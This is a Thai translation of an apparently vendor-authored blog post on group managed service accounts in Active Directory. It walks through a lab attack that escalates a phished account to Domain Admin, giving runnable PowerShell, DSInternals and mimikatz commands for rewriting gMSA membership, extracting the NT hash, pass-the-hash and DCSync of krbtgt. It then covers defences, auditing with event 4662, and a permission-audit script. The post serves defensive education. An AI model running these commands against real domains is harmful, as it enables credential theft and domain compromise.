การใช้ในทางที่ผิดและการรักษาความปลอดภัยบัญชีบริการที่ได้รับการจัดการแบบกลุ่ม

ภาพรวมบัญชีบริการที่มีการจัดการแบบกลุ่ม

แนวทางปฏิบัติแบบดั้งเดิมของการใช้บัญชีผู้ใช้ปกติเป็นบัญชีบริการทำให้ผู้ใช้มีภาระในการจัดการรหัสผ่าน เป็นผลให้รหัสผ่านของบัญชีมักจะเหมือนเดิมเป็นเวลาหลายปี — ซึ่งทำให้พวกมันมีความเสี่ยงสูงต่อการโจมตีแบบดุร้ายและการใช้งานในทางที่ผิด บัญชีบริการที่มีการจัดการแบบกลุ่ม (gMSA) นำเสนอวิธีที่ปลอดภัยยิ่งขึ้นในการรันงาน บริการ และแอปพลิเคชันอัตโนมัติ

gMSA เปิดตัวใน Windows Server 2016 และสามารถใช้ประโยชน์ได้บน Windows Server 2012 ขึ้นไป Windows จัดการรหัสผ่าน gMSA อย่างสมบูรณ์: รหัสผ่านจะสร้างขึ้นแบบสุ่มและหมุนเวียนโดยอัตโนมัติ ยิ่งไปกว่านั้น ผู้ใช้ไม่จำเป็นต้องรู้จักรหัสผ่าน เนื่องจากบัญชีบริการนั้นถูก 'ติดตั้ง' บนเซิร์ฟเวอร์ที่ใช้ค้นหาข้อมูลรหัสผ่านจาก Active Directory ในขณะรันไทม์ ด้วยเหตุนี้ gMSA จึงเสี่ยงต่อการใช้งานในทางที่ผิดและการบุกรุกน้อยกว่าบัญชีผู้ใช้ที่ใช้เป็นบัญชีบริการ

ความปลอดภัยของบัญชีบริการที่ได้รับการจัดการกลุ่ม

gMSA เป็นประเภทออบเจ็กต์เฉพาะใน Active Directory: msDS-GroupManagedServiceAccount ออบเจ็กต์เหล่านี้มีคุณลักษณะพิเศษที่เกี่ยวข้องกับรหัสผ่านและการหมุนเวียน เช่นเดียวกับ LAPS คุณจะต้องแน่ใจว่าแอตทริบิวต์ gMSA ถูกล็อคไว้เฉพาะออบเจ็กต์ Active Directory ที่จำเป็นต้องเข้าถึงเท่านั้น

คุณสมบัติและการอนุญาต gMSA

gMSA มีคุณลักษณะดังต่อไปนี้:

msDS-ManagedPassword— BLOB ที่มีรหัสผ่านของ gMSA
msDS-ManagedPasswordID— รหัสคีย์ที่ใช้สร้างรหัสผ่าน gMSA ปัจจุบัน
msDS-ManagedPasswordPreviousID— รหัสคีย์ที่ใช้สร้างรหัสผ่าน gMSA ก่อนหน้า
msDS-GroupMSAmembership— รายการออบเจ็กต์ที่มีสิทธิ์ในการสืบค้นรหัสผ่านสำหรับ gMSA
msDS-ManagedPasswordInterval— ช่วงเวลา (วัน) ที่มีการหมุนเวียนรหัสผ่าน

เนื่องจากข้อมูลรหัสผ่านถูกจัดเก็บไว้ในแอตทริบิวต์ msDS-ManagedPassword คุณจะต้องการทราบอย่างแน่นอนว่าใครในสภาพแวดล้อมของคุณที่สามารถสืบค้นรหัสผ่านได้ ข้อมูลดังกล่าวถูกตั้งค่าไว้ในแอตทริบิวต์ msDS-GroupMSAmembership

อย่างไรก็ตาม มันซับซ้อนกว่าแอตทริบิวต์นั้นเล็กน้อย เนื่องจากสิทธิ์ของ Active Directory เข้ามามีบทบาท หากผู้ใช้หรือออบเจ็กต์ได้รับการกำหนดค่าให้มีสิทธิ์ในการสืบค้นรหัสผ่านผ่านบัญชี msDS-GroupMSAMembership ไม่ว่าด้วยเหตุผลใดก็ตาม พวกเขายังคงจำเป็นต้องมีสิทธิ์ "อ่าน" ในแอตทริบิวต์ msDS-ManagedPassword ของ gMSA

ซึ่งหมายความว่ามีสองวิธีในการรักษาความปลอดภัยรหัสผ่าน gMSA:

ตรวจสอบให้แน่ใจว่าเฉพาะวัตถุที่จำเป็นเท่านั้นที่มีสิทธิ์ในการสอบถามรหัสผ่านและมีอยู่ใน msDS-GroupMSAmembership
ตรวจสอบให้แน่ใจว่าเฉพาะผู้ใช้ที่เป็นผู้ดูแลระบบที่ต้องการการเข้าถึงและบัญชีคอมพิวเตอร์ที่ติดตั้ง gMSA เท่านั้นที่มีสิทธิ์ในการอ่านแอตทริบิวต์ นอกจากนี้ ตรวจสอบให้แน่ใจว่ามีเพียงผู้ดูแลระบบเท่านั้นที่สามารถแก้ไข gMSA และแอตทริบิวต์ได้ ดังนั้นจึงไม่มีใครสามารถเพิ่มตัวเองลงในแอตทริบิวต์ msDS-GroupMSAmembership ได้

ตามหลักการแล้ว คุณควรล็อค gMSA ทั้งสองช่องทางเพื่อหยุดผู้โจมตีจากการมีตัวเลือกในการใช้ประโยชน์จากสถานการณ์ใดสถานการณ์หนึ่งข้างต้น ด้านล่างนี้เราจะแสดงให้เห็นว่าสิทธิ์หรือการกำหนดค่าที่ได้รับการจัดการไม่ถูกต้องใน gMSA สามารถนำไปสู่การประนีประนอมบัญชีและการยกระดับสิทธิ์หรือการเคลื่อนไหวด้านข้างได้อย่างไร

การใช้รหัสผ่าน gMSA ในทางที่ผิด

การใช้ gMSA ในทางที่ผิดนั้นค่อนข้างง่ายตามแนวคิด ขั้นแรก รับรหัสผ่านโดยใช้เครื่องมือเช่น Mimikatz หรือโดยการสืบค้นโดยตรงเนื่องจากการกำหนดค่าที่ไม่ปลอดภัยใน Active Directory เนื่องจาก gMSA เป็นบัญชีบริการ จึงมักจะได้รับสิทธิพิเศษ ดังนั้นคุณจึงสามารถย้ายด้านข้างหรือบานปลายได้

มาดูสถานการณ์ตัวอย่างกัน

1. ขั้นแรกเราโจมตีบัญชีผู้ใช้ Windows ทั่วไป 'notadmin' โดยใช้เทคนิคเช่นฟิชชิ่ง บัญชีนี้มีสิทธิ์ขั้นต่ำใน Active Directory แต่เป็นผู้ดูแลระบบภายในเครื่องที่เราใช้งาน

2. ต่อไป เราจะพยายามค้นหาว่ามี gMSA อยู่หรือไม่ ซึ่งทำได้ง่ายมากหากคุณมีสิทธิ์เข้าถึง Windows PowerShell cmdlet การรันสคริปต์ง่ายๆ ทำให้เราได้รับบัญชีบริการที่ได้รับการจัดการทั้งหมดใน Active Directory:

Get-ADServiceAccount -Filter *

3. ด้วยการปรับเปลี่ยนสคริปต์เล็กน้อย เราสามารถระบุได้ว่าใครมีสิทธิ์เข้าถึงเพื่อสืบค้นรหัสผ่าน gMSA:

Get-ADServiceAccount -Filter * -Properties PrincipalsAllowedToRetrieveManagedPassword

ดังที่เราเห็น มีเพียงบัญชี Kevin Joyce เท่านั้นที่สามารถค้นหารหัสผ่านสำหรับบัญชีบริการเหล่านี้:

4. เราสามารถจำกัดขอบเขตของเป้าหมายที่เราต้องการให้แคบลงได้โดยการตรวจสอบเพื่อดูว่าบัญชีบริการเหล่านี้เป็นสมาชิกของกลุ่มที่ได้รับสิทธิ์ใดๆ หรือไม่ และจากนั้นเราสามารถเจาะลึกลงไปในการอนุญาตที่ตั้งไว้บนหนึ่งในออบเจ็กต์:

Get-ADServiceAccount -Filter * -Properties memberof

เมื่อดูผลลัพธ์ที่นี่ เราจะเห็นว่าบัญชีบริการ gMSA เป็นสมาชิกของผู้ดูแลระบบโดเมน ดังนั้นนี่จะเป็นบัญชีที่เราจะพยายามใช้ประโยชน์

5. ด้วยการแก้ไขสคริปต์ที่ให้ไว้ในโพสต์บน Microsoft LAPS เราจึงสามารถรับรายการออบเจ็กต์ทั้งหมดที่มีสิทธิ์เหนือบัญชีบริการที่ได้รับการจัดการซึ่งรวมถึงการควบคุมทั้งหมด เขียนคุณสมบัติทั้งหมด หรือเขียนคุณสมบัติสำหรับแอตทริบิวต์ gMSA ที่ระบุ ผลลัพธ์อยู่ด้านล่าง และมีการเชื่อมโยงสคริปต์ที่ด้านล่าง

6. อย่างที่คุณเห็น บัญชี notadmin มีการควบคุมเต็มรูปแบบในบัญชี gMSA สิ่งนี้ทำให้เราสามารถแก้ไขแอตทริบิวต์ msDS-GroupMSAmembership ซึ่งจะให้เราดึงรหัสผ่านสำหรับบัญชีบริการที่มีการจัดการ:

Set-ADServiceAccount -Identity gmsa -PrincipalsAllowedToRetrieveManagedPassword notadmin

7. ตอนนี้เราสามารถสืบค้นรหัสผ่านได้แล้ว มาดูกันว่าเราสามารถทำอะไรได้บ้าง:

Get-ADServiceAccount -Identity gmsa -properties msds-ManagedPassword

$pwd = Get-ADServiceAccount -identity gMSA -Properties msds-ManagedPassword

8. ค่าที่เก็บไว้ในแอตทริบิวต์คือ BLOB ที่มีข้อมูลสำหรับรหัสผ่าน ไม่ใช่รหัสผ่าน ดังนั้นเราจะต้องถอดรหัสรหัสผ่านโดยใช้เครื่องมือเช่น DSInternals:

$pw = ConvertFrom-ADManagedPasswordBlob $pwd.’msds-managedpassword’
ConvertTo-NTHash $pw.securecurrentpassword

สิ่งนี้ทำให้เราได้รับ SecureCurrentPassword และ CurrentPassword CurrentPassword ดูเหมือนจะไม่มีประโยชน์อะไร แต่นั่นเป็นเพราะอักขระทั้งหมดเป็น UTF-16 SecureCurrentPassword สามารถแปลงเป็นแฮช NTLM และใช้ในการส่งผ่านการโจมตีแฮชด้วย mimikatz เพื่อยกระดับสิทธิ์ของเรา

9. หากต้องการส่งแฮช เราเพียงแค่ต้องรัน mimikatz และใช้คำสั่งนี้:

sekurlsa::pth /user:gmsa /domain:sbpmlab.net /ntlm:a99afa608b79a3c539a969212c505ea9

10. ขณะนี้ เรามีเชลล์ที่ทำงานเป็นบัญชีบริการ gMSA ซึ่งเป็นสมาชิกของ Domain Admins เราก็สามารถทำทุกอย่างที่ต้องการเพื่อโจมตี Active Directory ได้ วิธีหนึ่งที่รวดเร็วที่สุด แต่อาจน่ารังเกียจที่สุดที่เราสามารถทำได้คือการโจมตี DCSync และขโมยแฮชของบัญชี krbtgt:

lsadump::dcsync /user:krbtgt /domain:sbpmlab.net

การป้องกันและการตรวจสอบ gMSA

มีกลยุทธ์ต่างๆ ที่คุณสามารถใช้เพื่อป้องกันและตรวจจับการละเมิด gMSA

สิทธิ์

การป้องกันที่สำคัญที่สุดและชัดเจนที่สุดที่คุณสามารถนำไปใช้ได้คือเพื่อให้แน่ใจว่ามีการตั้งค่าการอนุญาตที่เหมาะสมในบัญชีบริการที่ได้รับการจัดการแบบกลุ่มของคุณ การทำความเข้าใจว่าใครมีสิทธิ์เขียนออบเจ็กต์เหล่านี้เกี่ยวข้องกับการปกป้องสิ่งเหล่านั้น คนที่สามารถเพิ่มตัวเองลงในคุณลักษณะที่ควบคุมว่าใครสามารถสืบค้นรหัสผ่านตามทฤษฎีแล้ว มีสิทธิ์เข้าถึงบัญชีนี้ และใช้สิทธิ์ในทางที่ผิด

สิ่งต่อไปคือการทำความเข้าใจว่าใครมีความสามารถในการสืบค้นรหัสผ่านในบัญชีเหล่านี้ และใครกันแน่ที่ต้องการการเข้าถึงดังกล่าว ในความเป็นจริง บัญชีเดียวที่ควรรับรหัสผ่านของ gMSA คือบัญชีคอมพิวเตอร์ที่ติดตั้ง gMSA

บันทึกเหตุการณ์

มีเหตุการณ์ที่คุณสามารถค้นหาได้ในบันทึกเหตุการณ์ดั้งเดิมซึ่งจะช่วยให้คุณระบุได้ว่าใครกำลังสอบถามรหัสผ่านของบัญชี gMSA หากคุณเปิดใช้งานนโยบาย "ตรวจสอบการเข้าถึงบริการไดเรกทอรี" สำหรับโดเมนของคุณและกำหนดค่า SACL บน gMSA ที่คุณต้องการตรวจสอบ คุณสามารถสร้างบันทึกเหตุการณ์ได้เมื่อมีผู้สอบถามแอตทริบิวต์ msDS-ManagedPassword:

การเปิดการตั้งค่านี้และการสร้าง SACL ใหม่จะสร้างบันทึกเหตุการณ์ที่มีรหัสเหตุการณ์ 4662 ดูเหมือนว่านี้:

อย่างที่คุณเห็น ข้อมูลนี้ได้บันทึกไว้ว่าบัญชี 'notadmin' อ่านพร็อพเพอร์ตี้ในบัญชี gMSA คุณสมบัติที่อ่านคือ GUID ที่จัดเก็บไว้ในสคีมาสำหรับ Active Directory แต่การใช้การแก้ไข ADSI เราจะเห็นว่า GUID ที่ไฮไลต์ไว้แก้ไขแอตทริบิวต์ msDS-ManagedPasssword

สมมติว่าคุณมีการส่งต่อบันทึกเหตุการณ์บางประเภทหรือโซลูชัน SIEM บันทึกเหล่านี้จะมีคุณค่าอย่างยิ่งในการพิจารณาว่าใครกำลังเข้าถึงคุณลักษณะเหล่านี้

Netwrix Stealthปกป้อง

อีกทางเลือกหนึ่งคือเครื่องมือเช่น Netwrix StealthDEFEND Netwrix StealthDEFEND ไม่ต้องอาศัยบันทึกเหตุการณ์ดั้งเดิม และสามารถตรวจจับการเข้าถึงรหัสผ่าน gMSA และการกำหนดสิทธิ์ที่มีความเสี่ยงสูงได้ทันทีที่แกะกล่อง ตัวอย่างเช่น สถานการณ์ที่แสดงด้านบนจะสร้างภัยคุกคามต่อไปนี้เมื่อบัญชี 'notadmin' สอบถามรหัสผ่าน:

ยิ่งไปกว่านั้น ด้วย Netwrix StealthDEFEND คุณสามารถสร้าง Playbook เพื่อดำเนินการได้อย่างง่ายดายเมื่อตรวจพบการละเมิด gMSA Playbook อาจเกี่ยวข้องกับหลายขั้นตอน เช่น กำหนดให้บัญชีผู้ใช้ของผู้กระทำผิดตอบสนองต่อคำขอ MFA การปิดใช้งานบัญชี หรือการสร้างเหตุการณ์ ServiceNow

ภาคผนวก

รหัสสิทธิ์ gMSA:

<#
Author: Kevin Joyce
Requirements: Active Directory PowerShell module, Domain Administrator privileges (to ensure the capability to get attribute GUIDs and view all permissions on all gMSA objects)
Description: Looks up permissions within Active Directory on a gMSA to determine access to modify the gMSA attribute (ms-ds-GroupMSAMembership).
Usage: populate the $target variable with the samaccountname of a gMSA.
To output the results to a text file run the following .gMSA_Permissions_Collection.ps1 > output.txt
#>
Import-Module ActiveDirectory
##Get the GUID of the extended attribute ms-ds-GroupMSAMembership from Schema
$schemaIDGUID = @{}
Get-ADObject -SearchBase (Get-ADRootDSE).schemaNamingContext -LDAPFilter '(name=ms-ds-GroupMSAMembership)' -Properties name, schemaIDGUID |
ForEach-Object {$schemaIDGUID.add([System.GUID]$_.schemaIDGUID,$_.name)}

<# **REPLACE DN VARIABLE BELOW**
Declare the samaccountname of the gMSA to search for#>
$target = 'gmsa'

##Get distinguished name of all gMSAs objects from the OU
$gMSAs = Get-ADServiceAccount -identity $target


<#Get objects that have specific permissions on the target(s): 
Full Control(GenericAll) 
Write all Properties (WriteProperty where ObjectType = 00000000-0000-0000-0000-000000000000 
#>
Set-Location ad:
foreach ($gmsa in $gMSAs){
(Get-Acl $gmsa.distinguishedname).access | 
Where-Object { (($_.AccessControlType -eq 'Allow') -and ($_.activedirectoryrights -in ('GenericAll') -and $_.inheritancetype -in ('All', 'None')) -or (($_.activedirectoryrights -like '*WriteProperty*') -and ($_.objecttype -eq '00000000-0000-0000-0000-000000000000')))} |
ft ([string]$gmsa.name),identityreference, activedirectoryrights, objecttype, isinherited -autosize 
}
<#Get objects that have specific permissions on the target(s) and specifically the gMSA attribute:
WriteProperty 
#>
Set-Location ad:
foreach ($gmsa in $gMSAs){
(Get-Acl $gmsa.distinguishedname).access | 
Where-Object {(($_.AccessControlType -eq 'Allow') -and (($_.activedirectoryrights -like '*WriteProperty*') -and ($_.objecttype -in $schemaIDGUID.Keys)))} |
ft ([string]$gmsa.name),identityreference, activedirectoryrights, objecttype, isinherited -AutoSize
}

ดูดิบgMSA_Permissions_Collection.ps1 โฮสต์ด้วย โดย GitHub

คำถามที่พบบ่อย

gMSA คืออะไร

เช่นเดียวกับบัญชีบริการที่ได้รับการจัดการ (MSA) บัญชีบริการที่ได้รับการจัดการแบบกลุ่ม (gMSA) คือบัญชีโดเมนที่ได้รับการจัดการซึ่งใช้เพื่อช่วยรักษาความปลอดภัยของบริการและการจัดการการเข้าถึง ฟังก์ชัน gMSA ให้การจัดการรหัสผ่านอัตโนมัติโดยตัวควบคุมโดเมน (DC) การจัดการชื่อหลักบริการ (SPN) ที่เรียบง่าย และความสามารถในการมอบหมายการจัดการให้กับผู้ดูแลระบบรายอื่น ซึ่งปรับปรุงความปลอดภัยของ Active Directory และลดขนาดบัญชีด้วยการเข้าถึงที่มีสิทธิพิเศษ

MSA และ gMSA แตกต่างกันอย่างไร

ต่างจาก MSA ตรงที่ gMSA สามารถเชื่อมโยงกับคอมพิวเตอร์หลายเครื่องได้

จะค้นหาบัญชีบริการที่ได้รับการจัดการแบบกลุ่มได้อย่างไร

หากต้องการรับรายการ gMSA บนตัวควบคุมโดเมนของคุณ ให้เปิดตัวจัดการเซิร์ฟเวอร์ > เครื่องมือ > ผู้ใช้ Active Directory และคอมพิวเตอร์ > บัญชีบริการที่ได้รับการจัดการ

gMSA สามารถเป็นผู้ดูแลระบบโดเมนได้หรือไม่

ใช่ บัญชี gMSA สามารถเป็นสมาชิกของ Domain Admins ได้ แม้ว่าการกระทำนี้อาจเป็นอันตรายต่อความปลอดภัยของข้อมูลก็ตาม

ฉันจะสร้าง gMSA ได้อย่างไร

บัญชีบริการที่มีการจัดการกลุ่มจะถูกสร้างขึ้นด้วย New-ADServiceAccount cmdlet